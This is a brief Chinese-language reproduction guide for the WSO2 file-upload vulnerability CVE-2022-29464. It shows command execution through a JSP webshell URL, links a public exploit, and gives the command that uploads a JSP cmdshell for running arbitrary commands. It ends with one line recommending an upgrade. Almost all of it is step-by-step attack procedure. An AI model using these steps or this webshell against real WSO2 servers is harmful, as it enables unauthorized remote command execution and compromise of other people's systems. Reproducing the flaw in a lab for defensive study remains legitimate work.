访问
https://192.168.159.130:9443/authenticationendpoint/cmd.jsp?cmd=whoami构造参数cmd和参数值whoami，即可获得WSO2服务器whoami命令执行结果
也可通过漏洞EXP
https://github.com/hakivvi/CVE-2022-29464利用漏洞
如图所示，将EXP下载后，执行
python exploit.py https://ip:9443/ shell.jsp即可上传jsp cmdshell至WSO2服务器
访问
https://ip:9443//authenticationendpoint/shell.jsp即可通过jsp cmdshell执行任意命令
将存在漏洞的WSO2应用版本升级至安全版本。
